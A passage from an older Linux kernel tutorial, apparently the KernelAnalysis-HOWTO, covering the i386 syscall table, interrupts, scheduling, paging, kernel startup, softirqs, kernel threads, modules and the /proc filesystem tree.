        .long SYMBOL_NAME(sys_setresgid)        /* 210 */
        .long SYMBOL_NAME(sys_getresgid)
        .long SYMBOL_NAME(sys_chown)
        .long SYMBOL_NAME(sys_setuid)
        .long SYMBOL_NAME(sys_setgid)
        .long SYMBOL_NAME(sys_setfsuid)         /* 215 */
        .long SYMBOL_NAME(sys_setfsgid)
        .long SYMBOL_NAME(sys_pivot_root)
        .long SYMBOL_NAME(sys_mincore)
        .long SYMBOL_NAME(sys_madvise)
        .long SYMBOL_NAME(sys_getdents64)       /* 220 */
        .long SYMBOL_NAME(sys_fcntl64)
        .long SYMBOL_NAME(sys_ni_syscall)       /* reserved for TUX */
        .long SYMBOL_NAME(sys_ni_syscall)       /* Reserved for Security */
        .long SYMBOL_NAME(sys_gettid)
        .long SYMBOL_NAME(sys_readahead)        /* 225 */

IRQ Event

When an IRQ comes, the task that is running is interrupted in order to service the IRQ Handler.

After the IRQ is handled, control returns backs exactly to point of interrupt, like nothing happened.

              Running Task
             |-----------|          (3)
NORMAL       |   |       | [break execution] IRQ Handler
EXECUTION (1)|   |       |     ------------->|---------|
             |  \|/      |     |             |  does   |
 IRQ (2)---->| ..        |----->             |  some   |
             |   |       |<-----             |  work   |
BACK TO      |   |       |     |             |  ..(4). |
NORMAL    (6)|  \|/      |     <-------------|_________|
EXECUTION    |___________|  [return to code]
                                    (5)
               USER MODE                     KERNEL MODE

         User->Kernel Mode Transition caused by IRQ event

The numbered steps below refer to the sequence of events in the diagram above:

  1. Process is executing
  2. IRQ comes while the task is running.
  3. Task is interrupted to call an "Interrupt handler".
  4. The "Interrupt handler" code is executed.
  5. Control returns back to task user mode (as if nothing happened)
  6. Process returns back to normal execution

Special interest has the Timer IRQ, coming every TIMER ms to manage:

  1. Alarms
  2. System and task counters (used by schedule to decide when stop a process or for accounting)
  3. Multitasking based on wake up mechanism after TIMESLICE time.

3.4 Multitasking

Mechanism

The key point of modern OSs is the "Task". The Task is an application running in memory sharing all resources (included CPU and Memory) with other Tasks.

This "resource sharing" is managed by the "Multitasking Mechanism". The Multitasking Mechanism switches from one task to another after a "timeslice" time. Users have the "illusion" that they own all resources. We can also imagine a single user scenario, where a user can have the "illusion" of running many tasks at the same time.

To implement this multitasking, the task uses "the state" variable, which can be:

  1. READY, ready for execution
  2. BLOCKED, waiting for a resource

The task state is managed by its presence in a relative list: READY list and BLOCKED list.

Task Switching

The movement from one task to another is called ''Task Switching''. many computers have a hardware instruction which automatically performs this operation. Task Switching occurs in the following cases:

  1. After Timeslice ends: we need to schedule a "Ready for execution" task and give it access.
  2. When a Task has to wait for a device: we need to schedule a new task and switch to it *

* We schedule another task to prevent "Busy Form Waiting", which occurs when we are waiting for a device instead performing other work.

Task Switching is managed by the "Schedule" entity.

Timer    |           |
 IRQ     |           |                            Schedule
  |      |           |                     ________________________
  |----->|   Task 1  |<------------------>|(1)Chooses a Ready Task |
  |      |           |                    |(2)Task Switching       |
  |      |___________|                    |________________________|
  |      |           |                               /|\
  |      |           |                                |
  |      |           |                                |
  |      |           |                                |
  |      |           |                                |
  |----->|   Task 2  |<-------------------------------|
  |      |           |                                |
  |      |___________|                                |
  .      .     .     .                                .
  .      .     .     .                                .
  .      .     .     .                                .
  |      |           |                                |
  |      |           |                                |
  ------>|   Task N  |<--------------------------------
         |           |
         |___________|

            Task Switching based on TimeSlice

A typical Timeslice for Linux is about 10 ms.

 |           |
 |           | Resource    _____________________________
 |   Task 1  |----------->|(1) Enqueue Resource request |
 |           |  Access    |(2)  Mark Task as blocked    |
 |           |            |(3)  Choose a Ready Task     |
 |___________|            |(4)    Task Switching        |
                          |_____________________________|
                                       |
                                       |
 |           |                         |
 |           |                         |
 |   Task 2  |<-------------------------
 |           |
 |           |
 |___________|

     Task Switching based on Waiting for a Resource

3.5 Microkernel vs Monolithic OS

Overview

Until now we viewed so called Monolithic OS, but there is also another kind of OS: ''Microkernel''.

A Microkernel OS uses Tasks, not only for user mode processes, but also as a real kernel manager, like Floppy-Task, HDD-Task, Net-Task and so on. Some examples are Amoeba, and Mach.

PROs and CONTROs of Microkernel OS

PROS:

  • OS is simpler to maintain because each Task manages a single kind of operation. So if you want to modify networking, you modify Net-Task (ideally, if it is not needed a structural update).

CONS:

  • Performances are worse than Monolithic OS, because you have to add 2*TASK_SWITCH times (the first to enter the specific Task, the second to go out from it).

My personal opinion is that, Microkernels are a good didactic example (like Minix) but they are not ''optimal'', so not really suitable. Linux uses a few Tasks, called "Kernel Threads" to implement a little microkernel structure (like kswapd, which is used to retrieve memory pages from mass storage). In this case there are no problems with perfomance because swapping is a very slow job.

3.6 Networking

ISO OSI levels

Standard ISO-OSI describes a network architecture with the following levels:

  1. Physical level (examples: PPP and Ethernet)
  2. Data-link level (examples: PPP and Ethernet)
  3. Network level (examples: IP, and X.25)
  4. Transport level (examples: TCP, UDP)
  5. Session level (SSL)
  6. Presentation level (FTP binary-ascii coding)
  7. Application level (applications like Netscape)

The first 2 levels listed above are often implemented in hardware. Next levels are in software (or firmware for routers).

Many protocols are used by an OS: one of these is TCP/IP (the most important living on 3-4 levels).

What does the kernel?

The kernel doesn't know anything (only addresses) about first 2 levels of ISO-OSI.

In RX it:

  1. Manages handshake with low levels devices (like ethernet card or modem) receiving "frames" from them.
  2. Builds TCP/IP "packets" from "frames" (like Ethernet or PPP ones),
  3. Convers ''packets'' in ''sockets'' passing them to the right application (using port number) or
  4. Forwards packets to the right queue

frames         packets              sockets
NIC ---------> Kernel ----------> Application
                  |    packets
                  --------------> Forward
                        - RX -

In TX stage it:

  1. Converts sockets or
  2. Queues datas into TCP/IP ''packets''
  3. Splits ''packets" into "frames" (like Ethernet or PPP ones)
  4. Sends ''frames'' using HW drivers

sockets       packets                     frames
Application ---------> Kernel ----------> NIC
              packets     /|\
Forward  -------------------
                        - TX -

3.7 Virtual Memory

Segmentation

Segmentation is the first method to solve memory allocation problems: it allows you to compile source code without caring where the application will be placed in memory. As a matter of fact, this feature helps applications developers to develop in a independent fashion from the OS e also from the hardware.

            |       Stack        |
            |          |         |
            |         \|/        |
            |        Free        |
            |         /|\        |     Segment <---> Process
            |          |         |
            |        Heap        |
            | Data uninitialized |
            |  Data initialized  |
            |       Code         |
            |____________________|

                   Segment

We can say that a segment is the logical entity of an application, or the image of the application in memory.

When programming, we don't care where our data is put in memory, we only care about the offset inside our segment (our application).

We use to assign a Segment to each Process and vice versa. In Linux this is not true. Linux uses only 4 segments for either Kernel and all Processes.

Problems of Segmentation

                                 ____________________
                          ----->|                    |----->
                          | IN  |     Segment A      | OUT
 ____________________     |     |____________________|
|                    |____|     |                    |
|     Segment B      |          |     Segment B      |
|                    |____      |                    |
|____________________|    |     |____________________|
                          |     |     Segment C      |
                          |     |____________________|
                          ----->|     Segment D      |----->
                            IN  |____________________| OUT

                     Segmentation problem

In the diagram above, we want to get exit processes A, and D and enter process B. As we can see there is enough space for B, but we cannot split it in 2 pieces, so we CANNOT load it (memory out).

The reason this problem occurs is because pure segments are continuous areas (because they are logical areas) and cannot be split.

Pagination

             ____________________
            |     Page 1         |
            |____________________|
            |     Page 2         |
            |____________________|
            |      ..            |     Segment <---> Process
            |____________________|
            |     Page n         |
            |____________________|
            |                    |
            |____________________|
            |                    |
            |____________________|

                   Segment

Pagination splits memory in "n" pieces, each one with a fixed length.

A process may be loaded in one or more Pages. When memory is freed, all pages are freed (see Segmentation Problem, before).

Pagination is also used for another important purpose, "Swapping". If a page is not present in physical memory then it generates an EXCEPTION, that will make the Kernel search for a new page in storage memory. This mechanism allow OS to load more applications than the ones allowed by physical memory only.

Pagination Problem

             ____________________
   Page   X |     Process Y      |
            |____________________|
            |                    |
            |       WASTE        |
            |       SPACE        |
            |____________________|

              Pagination Problem

In the diagram above, we can see what is wrong with the pagination policy: when a Process Y loads into Page X, ALL memory space of the Page is allocated, so the remaining space at the end of Page is wasted.

Segmentation and Pagination

How can we solve segmentation and pagination problems? Using either 2 policies.

                                  |      ..            |
                                  |____________________|
                            ----->|      Page 1        |
                            |     |____________________|
                            |     |      ..            |
 ____________________       |     |____________________|
|                    |      |---->|      Page 2        |
|      Segment X     |  ----|     |____________________|
|                    |      |     |       ..           |
|____________________|      |     |____________________|
                            |     |       ..           |
                            |     |____________________|
                            |---->|      Page 3        |
                                  |____________________|
                                  |       ..           |

Process X, identified by Segment X, is split in 3 pieces and each of one is loaded in a page.

We do not have:

  1. Segmentation problem: we allocate per Pages, so we also free Pages and we manage free space in an optimized way.
  2. Pagination problem: only last page wastes space, but we can decide to use very small pages, for example 4096 bytes length (losing at maximum 4096*N_Tasks bytes) and manage hierarchical paging (using 2 or 3 levels of paging)

                          |         |           |         |
                          |         |   Offset2 |  Value  |
                          |         |        /|\|         |
                  Offset1 |         |-----    | |         |
                      /|\ |         |    |    | |         |
                       |  |         |    |   \|/|         |
                       |  |         |    ------>|         |
                      \|/ |         |           |         |
 Base Paging Address ---->|         |           |         |
                          | ....... |           | ....... |
                          |         |           |         |

                     Hierarchical Paging


KernelAnalysis-HOWTO: Linux Startup

 Next Previous Contents

4. Linux Startup

We start the Linux kernel first from C code executed from ''startup_32:'' asm label:

|startup_32:
   |start_kernel
      |lock_kernel
      |trap_init
      |init_IRQ
      |sched_init
      |softirq_init
      |time_init
      |console_init
      |#ifdef CONFIG_MODULES
         |init_modules
      |#endif
      |kmem_cache_init
      |sti
      |calibrate_delay
      |mem_init
      |kmem_cache_sizes_init
      |pgtable_cache_init
      |fork_init
      |proc_caches_init
      |vfs_caches_init
      |buffer_init
      |page_cache_init
      |signals_init
      |#ifdef CONFIG_PROC_FS
        |proc_root_init
      |#endif
      |#if defined(CONFIG_SYSVIPC)
         |ipc_init
      |#endif
      |check_bugs
      |smp_init
      |rest_init
         |kernel_thread
         |unlock_kernel
         |cpu_idle

  • startup_32 [arch/i386/kernel/head.S]
  • start_kernel [init/main.c]
  • lock_kernel [include/asm/smplock.h]
  • trap_init [arch/i386/kernel/traps.c]
  • init_IRQ [arch/i386/kernel/i8259.c]
  • sched_init [kernel/sched.c]
  • softirq_init [kernel/softirq.c]
  • time_init [arch/i386/kernel/time.c]
  • console_init [drivers/char/tty_io.c]
  • init_modules [kernel/module.c]
  • kmem_cache_init [mm/slab.c]
  • sti [include/asm/system.h]
  • calibrate_delay [init/main.c]
  • mem_init [arch/i386/mm/init.c]
  • kmem_cache_sizes_init [mm/slab.c]
  • pgtable_cache_init [arch/i386/mm/init.c]
  • fork_init [kernel/fork.c]
  • proc_caches_init
  • vfs_caches_init [fs/dcache.c]
  • buffer_init [fs/buffer.c]
  • page_cache_init [mm/filemap.c]
  • signals_init [kernel/signal.c]
  • proc_root_init [fs/proc/root.c]
  • ipc_init [ipc/util.c]
  • check_bugs [include/asm/bugs.h]
  • smp_init [init/main.c]
  • rest_init
  • kernel_thread [arch/i386/kernel/process.c]
  • unlock_kernel [include/asm/smplock.h]
  • cpu_idle [arch/i386/kernel/process.c]

The last function ''rest_init'' does the following:

  1. launches the kernel thread ''init''
  2. calls unlock_kernel
  3. makes the kernel run cpu_idle routine, that will be the idle loop executing when nothing is scheduled

In fact the start_kernel procedure never ends. It will execute cpu_idle routine endlessly.

Follows ''init'' description, which is the first Kernel Thread:

|init
   |lock_kernel
   |do_basic_setup
      |mtrr_init
      |sysctl_init
      |pci_init
      |sock_init
      |start_context_thread
      |do_init_calls
         |(*call())-> kswapd_init
   |prepare_namespace
   |free_initmem
   |unlock_kernel
   |execve


KernelAnalysis-HOWTO: Linux Peculiarities

 Next Previous Contents

5. Linux Peculiarities

5.1 Overview

Linux has some peculiarities that distinguish it from other OSs. These peculiarities include:

  1. Pagination only
  2. Softirq
  3. Kernel threads
  4. Kernel modules
  5. ''Proc'' directory

Flexibility Elements

Points 4 and 5 give system administrators an enormous flexibility on system configuration from user mode allowing them to solve also critical kernel bugs or specific problems without have to reboot the machine. For example, if you needed to change something on a big server and you didn't want to make a reboot, you could prepare the kernel to talk with a module, that you'll write.

5.2 Pagination only

Linux doesn't use segmentation to distinguish Tasks from each other; it uses pagination. (Only 2 segments are used for all Tasks, CODE and DATA/STACK)

We can also say that an interTask page fault never occurs, because each Task uses a set of Page Tables that are different for each Task. These tables cannot point to the same physical addresses.

Linux segments

Under the Linux kernel only 4 segments exist:

  1. Kernel Code [0x10]
  2. Kernel Data / Stack [0x18]
  3. User Code [0x23]
  4. User Data / Stack [0x2b]

[syntax is ''Purpose [Segment]'']

Under Intel architecture, the segment registers used are:

  • CS for Code Segment
  • DS for Data Segment
  • SS for Stack Segment
  • ES for Alternative Segment (for example used to make a memory copy between 2 different segments)

So, every Task uses 0x23 for code and 0x2b for data/stack.

Linux pagination

Under Linux 3 levels of pages are used, depending on the architecture. Under Intel only 2 levels are supported. Linux also supports Copy on Write mechanisms (please see Cap.10 for more information).

Why don't interTasks address conflicts exist?

The answer is very very simple: interTask address conflicts cannot exist because they are impossible. Linear -> physical mapping is done by "Pagination", so it just needs to assign physical pages in an univocal fashion.

Do we need to defragment memory?

No. Page assigning is a dynamic process. We need a page only when a Task asks for it, so we choose it from free memory paging in an ordered fashion. When we want to release the page, we only have to add it to the free pages list.

What about Kernel Pages?

Kernel pages have a problem: they can be allocated in a dynamic fashion but we cannot have a guarantee that they are in contiguous area allocation, because linear kernel space is equivalent to physical kernel space.

For Code Segment there is no problem. Boot code is allocated at boot time (so we have a fixed amount of memory to allocate), and on modules we only have to allocate a memory area which could contain module code.

The real problem is the stack segment because each Task uses some kernel stack pages. Stack segments must be contiguous (according to stack definition), so we have to establish a maximum limit for each Task's stack dimension. If we exceed this limit bad things happen. We overwrite kernel mode process data structures.

The structure of the Kernel helps us, because kernel functions are never:

  • recursive
  • intercalling more than N times.

Once we know N, and we know the average of static variables for all kernel functions, we can estimate a stack limit.

If you want to try the problem out, you can create a module with a function inside calling itself many times. After a fixed number of times, the kernel module will hang because of a page fault exception handler (typically write to a read-only page).

5.3 Softirq

When an IRQ comes, task switching is deferred until later to get better performance. Some Task jobs (that could have to be done just after the IRQ and that could take much CPU in interrupt time, like building up a TCP/IP packet) are queued and will be done at scheduling time (once a time-slice will end).

In recent kernels (2.4.x) the softirq mechanisms are given to a kernel_thread: ''ksoftirqd_CPUn''. n stands for the number of CPU executing kernel_thread (in a monoprocessor system ''ksoftirqd_CPU0'' uses PID 3).

Preparing Softirq

Enabling Softirq

''cpu_raise_softirq'' is a routine that will wake_up ''ksoftirqd_CPU0'' kernel thread, to let it manage the enqueued job.

|cpu_raise_softirq
   |__cpu_raise_softirq
   |wakeup_softirqd
      |wake_up_process

  • cpu_raise_softirq [kernel/softirq.c]
  • __cpu_raise_softirq [include/linux/interrupt.h]
  • wakeup_softirq [kernel/softirq.c]
  • wake_up_process [kernel/sched.c]

''__cpu_raise_softirq'' routine will set right bit in the vector describing softirq pending.

''wakeup_softirq'' uses ''wakeup_process'' to wake up ''ksoftirqd_CPU0'' kernel thread.

Executing Softirq

TODO: describing data structures involved in softirq mechanism.

When kernel thread ''ksoftirqd_CPU0'' has been woken up, it will execute queued jobs

The code of ''ksoftirqd_CPU0'' is (main endless loop):

for (;;) {
   if (!softirq_pending(cpu))
      schedule();
      __set_current_state(TASK_RUNNING);
   while (softirq_pending(cpu)) {
      do_softirq();
      if (current->need_resched)
         schedule
   }
   __set_current_state(TASK_INTERRUPTIBLE)
}

  • ksoftirqd [kernel/softirq.c]

5.4 Kernel Threads

Even though Linux is a monolithic OS, a few ''kernel threads'' exist to do housekeeping work.

These Tasks don't utilize USER memory; they share KERNEL memory. They also operate at the highest privilege (RING 0 on a i386 architecture) like any other kernel mode piece of code.

Kernel threads are created by ''kernel_thread [arch/i386/kernel/process]'' function, which calls ''clone'' [arch/i386/kernel/process.c] system call from assembler (which is a ''fork'' like system call):

int kernel_thread(int (*fn)(void *), void * arg, unsigned long flags)
{
        long retval, d0;

        __asm__ __volatile__(
                "movl %%esp,%%esi\n\t"
                "int $0x80\n\t"         /* Linux/i386 system call */
                "cmpl %%esp,%%esi\n\t"  /* child or parent? */
                "je 1f\n\t"             /* parent - jump */
                /* Load the argument into eax, and push it.  That way, it does
                 * not matter whether the called function is compiled with
                 * -mregparm or not.  */
                "movl %4,%%eax\n\t"
                "pushl %%eax\n\t"
                "call *%5\n\t"          /* call fn */
                "movl %3,%0\n\t"        /* exit */
                "int $0x80\n"
                "1:\t"
                :"=&a" (retval), "=&S" (d0)
                :"0" (__NR_clone), "i" (__NR_exit),
                 "r" (arg), "r" (fn),
                 "b" (flags | CLONE_VM)
                : "memory");
        return retval;
}

Once called, we have a new Task (usually with very low PID number, like 2,3, etc.) waiting for a very slow resource, like swap or usb event. A very slow resource is used because we would have a task switching overhead otherwise.

Below is a list of most common kernel threads (from ''ps x'' command):

PID      COMMAND
 1        init
 2        keventd
 3        kswapd
 4        kreclaimd
 5        bdflush
 6        kupdated
 7        kacpid
67        khubd

'init' kernel thread is the first process created, at boot time. It will call all other User Mode Tasks (from file /etc/inittab) like console daemons, tty daemons and network daemons (''rc'' scripts).

Example of Kernel Threads: kswapd [mm/vmscan.c].

''kswapd'' is created by ''clone() [arch/i386/kernel/process.c]''

Initialisation routines:

|do_initcalls
   |kswapd_init
      |kernel_thread
         |syscall fork (in assembler)

do_initcalls [init/main.c]

kswapd_init [mm/vmscan.c]

kernel_thread [arch/i386/kernel/process.c]

5.5 Kernel Modules

Overview

Linux Kernel modules are pieces of code (examples: fs, net, and hw driver) running in kernel mode that you can add at runtime.

The Linux core cannot be modularized: scheduling and interrupt management or core network, and so on.

Under "/lib/modules/KERNEL_VERSION/" you can find all the modules installed on your system.

Module loading and unloading

To load a module, type the following:

insmod MODULE_NAME parameters

example: insmod ne io=0x300 irq=9

NOTE: You can use modprobe in place of insmod if you want the kernel automatically search some parameter (for example when using PCI driver, or if you have specified parameter under /etc/conf.modules file).

To unload a module, type the following:

 rmmod MODULE_NAME

Module definition

A module always contains:

  1. "init_module" function, executed at insmod (or modprobe) command
  2. "cleanup_module" function, executed at rmmod command

If these functions are not in the module, you need to add 2 macros to specify what functions will act as init and exit module:

  1. module_init(FUNCTION_NAME)
  2. module_exit(FUNCTION_NAME)

NOTE: a module can "see" a kernel variable only if it has been exported (with macro EXPORT_SYMBOL).

A useful trick for adding flexibility to your kernel

// kernel sources side
void (*foo_function_pointer)(void *);

if (foo_function_pointer)
  (foo_function_pointer)(parameter);

// module side
extern void (*foo_function_pointer)(void *);

void my_function(void *parameter) {
  //My code
}

int init_module() {
  foo_function_pointer = &my_function;
}

int cleanup_module() {
  foo_function_pointer = NULL;
}

This simple trick allows you to have very high flexibility in your Kernel, because only when you load the module you'll make "my_function" routine execute. This routine will do everything you want to do: for example ''rshaper'' module, which controls bandwidth input traffic from the network, works in this kind of matter.

Notice that the whole module mechanism is possible thanks to some global variables exported to modules, such as head list (allowing you to extend the list as much as you want). Typical examples are fs, generic devices (char, block, net, telephony). You have to prepare the kernel to accept your new module; in some cases you have to create an infrastructure (like telephony one, that was recently created) to be as standard as possible.

5.6 Proc directory

Proc fs is located in the /proc directory, which is a special directory allowing you to talk directly with kernel.

Linux uses ''proc'' directory to support direct kernel communications: this is necessary in many cases, for example when you want see main processes data structures or enable ''proxy-arp'' feature on one interface and not in others, you want to change max number of threads, or if you want to debug some bus state, like ISA or PCI, to know what cards are installed and what I/O addresses and IRQs are assigned to them.

|-- bus
|   |-- pci
|   |   |-- 00
|   |   |   |-- 00.0
|   |   |   |-- 01.0
|   |   |   |-- 07.0
|   |   |   |-- 07.1
|   |   |   |-- 07.2
|   |   |   |-- 07.3
|   |   |   |-- 07.4
|   |   |   |-- 07.5
|   |   |   |-- 09.0
|   |   |   |-- 0a.0
|   |   |   `-- 0f.0
|   |   |-- 01
|   |   |   `-- 00.0
|   |   `-- devices
|   `-- usb
|-- cmdline
|-- cpuinfo
|-- devices
|-- dma
|-- dri
|   `-- 0
|       |-- bufs
|       |-- clients
|       |-- mem
|       |-- name
|       |-- queues
|       |-- vm
|       `-- vma
|-- driver
|-- execdomains
|-- filesystems
|-- fs
|-- ide
|   |-- drivers
|   |-- hda -> ide0/hda
|   |-- hdc -> ide1/hdc
|   |-- ide0
|   |   |-- channel
|   |   |-- config
|   |   |-- hda
|   |   |   |-- cache
|   |   |   |-- capacity
|   |   |   |-- driver
|   |   |   |-- geometry
|   |   |   |-- identify
|   |   |   |-- media
|   |   |   |-- model
|   |   |   |-- settings
|   |   |   |-- smart_thresholds
|   |   |   `-- smart_values
|   |   |-- mate
|   |   `-- model
|   |-- ide1
|   |   |-- channel
|   |   |-- config
|   |   |-- hdc
|   |   |   |-- capacity
|   |   |   |-- driver
|   |   |   |-- identify
|   |   |   |-- media
|   |   |   |-- model
|   |   |   `-- settings
|   |   |-- mate
|   |   `-- model
|   `-- via
|-- interrupts
|-- iomem
|-- ioports
|-- irq
|   |-- 0
|   |-- 1
|   |-- 10
|   |-- 11
|   |-- 12
|   |-- 13
|   |-- 14
|   |-- 15
|   |-- 2
|   |-- 3
|   |-- 4
|   |-- 5
|   |-- 6
|   |-- 7
|   |-- 8
|   |-- 9
|   `-- prof_cpu_mask
|-- kcore
|-- kmsg
|-- ksyms
|-- loadavg
|-- locks
|-- meminfo
|-- misc
|-- modules
|-- mounts
|-- mtrr
|-- net
|   |-- arp
|   |-- dev
|   |-- dev_mcast
|   |-- ip_fwchains
|   |-- ip_fwnames
|   |-- ip_masquerade
|   |-- netlink
|   |-- netstat
|   |-- packet
|   |-- psched
|   |-- raw
|   |-- route
|   |-- rt_acct
|   |-- rt_cache
|   |-- rt_cache_stat
|   |-- snmp
|   |-- sockstat
|   |-- softnet_stat
|   |-- tcp
|   |-- udp
|   |-- unix
|   `-- wireless
|-- partitions
|-- pci
|-- scsi
|   |-- ide-scsi
|   |   `-- 0
|   `-- scsi
|-- self -> 2069
|-- slabinfo
|-- stat
|-- swaps
|-- sys
|   |-- abi
|   |   |-- defhandler_coff
|   |   |-- defhandler_elf
|   |   |-- defhandler_lcall7
|   |   |-- defhandler_libcso
|   |   |-- fake_utsname
|   |   `-- trace
|   |-- debug
|   |-- dev
|   |   |-- cdrom
|   |   |   |-- autoclose
|   |   |   |-- autoeject
|   |   |   |-- check_media
|   |   |   |-- debug
|   |   |   |-- info
|   |   |   `-- lock
|   |   `-- parport
|   |       |-- default
|   |       |   |-- spintime
|   |       |   `-- timeslice
|   |       `-- parport0
|   |           |-- autoprobe
|   |           |-- autoprobe0
|   |           |-- autoprobe1
|   |           |-- autoprobe2
|   |           |-- autoprobe3
|   |           |-- base-addr
|   |           |-- devices
|   |           |   |-- active
|   |           |   `-- lp
|   |           |       `-- timeslice
|   |           |-- dma
|   |           |-- irq
|   |           |-- modes
|   |           `-- spintime
|   |-- fs
|   |   |-- binfmt_misc
|   |   |-- dentry-state
|   |   |-- dir-notify-enable
|   |   |-- dquot-nr
|   |   |-- file-max
|   |   |-- file-nr
|   |   |-- inode-nr
|   |   |-- inode-state
|   |   |-- jbd-debug
|   |   |-- lease-break-time
|   |   |-- leases-enable
|   |   |-- overflowgid
|   |   `-- overflowuid
|   |-- kernel
|   |   |-- acct
|   |   |-- cad_pid
|   |   |-- cap-bound
|   |   |-- core_uses_pid
|   |   |-- ctrl-alt-del
|   |   |-- domainname
|   |   |-- hostname
|   |   |-- modprobe
|   |   |-- msgmax
|   |   |-- msgmnb
|   |   |-- msgmni
|   |   |-- osrelease
|   |   |-- ostype
|   |   |-- overflowgid
|   |   |-- overflowuid
|   |   |-- panic
|   |   |-- printk
|   |   |-- random
|   |   |   |-- boot_id
|   |   |   |-- entropy_avail
|   |   |   |-- poolsize
|   |   |   |-- read_wakeup_threshold
|   |   |   |-- uuid
|   |   |   `-- write_wakeup_threshold
|   |   |-- rtsig-max
|   |   |-- rtsig-nr
|   |   |-- sem
|   |   |-- shmall
|   |   |-- shmmax
|   |   |-- shmmni
|   |   |-- sysrq
|   |   |-- tainted
|   |   |-- threads-max
|   |   `-- version
|   |-- net
|   |   |-- 802
|   |   |-- core
|   |   |   |-- hot_list_length
|   |   |   |-- lo_cong
|   |   |   |-- message_burst
|   |   |   |-- message_cost
|   |   |   |-- mod_cong
|   |   |   |-- netdev_max_backlog
|   |   |   |-- no_cong
|   |   |   |-- no_cong_thresh
|   |   |   |-- optmem_max
|   |   |   |-- rmem_default
|   |   |   |-- rmem_max
|   |   |   |-- wmem_default
|   |   |   `-- wmem_max
|   |   |-- ethernet
|   |   |-- ipv4
|   |   |   |-- conf
|   |   |   |   |-- all
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   |-- default
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   |-- eth0
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   |-- eth1
|   |   |   |   |   |-- accept_redirects
|   |   |   |   |   |-- accept_source_route
|   |   |   |   |   |-- arp_filter
|   |   |   |   |   |-- bootp_relay
|   |   |   |   |   |-- forwarding
|   |   |   |   |   |-- log_martians
|   |   |   |   |   |-- mc_forwarding
|   |   |   |   |   |-- proxy_arp
|   |   |   |   |   |-- rp_filter
|   |   |   |   |   |-- secure_redirects
|   |   |   |   |   |-- send_redirects
|   |   |   |   |   |-- shared_media
|   |   |   |   |   `-- tag
|   |   |   |   `-- lo
|   |   |   |       |-- accept_redirects
|   |   |   |       |-- accept_source_route
|   |   |   |       |-- arp_filter
|   |   |   |       |-- bootp_relay
|   |   |   |       |-- forwarding
|   |   |   |       |-- log_martians
|   |   |   |       |-- mc_forwarding
|   |   |   |       |-- proxy_arp
|   |   |   |       |-- rp_filter
|   |   |   |       |-- secure_redirects
|   |   |   |       |-- send_redirects
|   |   |   |       |-- shared_media
|   |   |   |       `-- tag
|   |   |   |-- icmp_echo_ignore_all
|   |   |   |-- icmp_echo_ignore_broadcasts
|   |   |   |-- icmp_ignore_bogus_error_responses
|   |   |   |-- icmp_ratelimit
|   |   |   |-- icmp_ratemask
|   |   |   |-- inet_peer_gc_maxtime
|   |   |   |-- inet_peer_gc_mintime
|   |   |   |-- inet_peer_maxttl
|   |   |   |-- inet_peer_minttl
|   |   |   |-- inet_peer_threshold
|   |   |   |-- ip_autoconfig
|   |   |   |-- ip_conntrack_max
|   |   |   |-- ip_default_ttl
|   |   |   |-- ip_dynaddr
|   |   |   |-- ip_forward
|   |   |   |-- ip_local_port_range
|   |   |   |-- ip_no_pmtu_disc
|   |   |   |-- ip_nonlocal_bind
|   |   |   |-- ipfrag_high_thresh
|   |   |   |-- ipfrag_low_thresh
|   |   |   |-- ipfrag_time
|   |   |   |-- neigh
|   |   |   |   |-- default
|   |   |   |   |   |-- anycast_delay
|   |   |   |   |   |-- app_solicit
|   |   |   |   |   |-- base_reachable_time
|   |   |   |   |   |-- delay_first_probe_time
|   |   |   |   |   |-- gc_interval
|   |   |   |   |   |-- gc_stale_time
|   |   |   |   |   |-- gc_thresh1
|   |   |   |   |   |-- gc_thresh2
|   |   |   |   |   |-- gc_thresh3
|   |   |   |   |   |-- locktime
|   |   |   |   |   |-- mcast_solicit
|   |   |   |   |   |-- proxy_delay
|   |   |   |   |   |-- proxy_qlen
|   |   |   |   |   |-- retrans_time
|   |   |   |   |   |-- ucast_solicit
|   |   |   |   |   `-- unres_qlen
|   |   |   |   |-- eth0
|   |   |   |   |   |-- anycast_delay
|   |   |   |   |   |-- app_solicit
|   |   |   |   |   |-- base_reachable_time
|   |   |   |   |   |-- delay_first_probe_time
|   |   |   |   |   |-- gc_stale_time
|   |   |   |   |   |-- locktime
|   |   |   |   |   |-- mcast_solicit
|   |   |   |   |   |-- proxy_delay
|   |   |   |   |   |-- proxy_qlen
|   |   |   |   |   |-- retrans_time
|   |   |   |   |   |-- ucast_solicit
|   |   |   |   |   `-- unres_qlen
|   |   |   |   |-- eth1
|   |   |   |   |   |-- anycast_delay
|   |   |   |   |   |-- app_solicit
|   |   |   |   |   |-- base_reachable_time
|   |   |   |   |   |-- delay_first_probe_time
|   |   |   |   |   |-- gc_stale_time
|   |   |   |   |   |-- locktime
|   |   |   |   |   |-- mcast_solicit
|   |   |   |   |   |-- proxy_delay
|   |   |   |   |   |-- proxy_qlen
|   |   |   |   |   |-- retrans_time
|   |   |   |   |   |-- ucast_solicit
|   |   |   |   |   `-- unres_qlen
|   |   |   |   `-- lo
|   |   |   |       |-- anycast_delay
|   |   |   |       |-- app_solicit
|   |   |   |       |-- base_reachable_time
|   |   |   |       |-- delay_first_probe_time
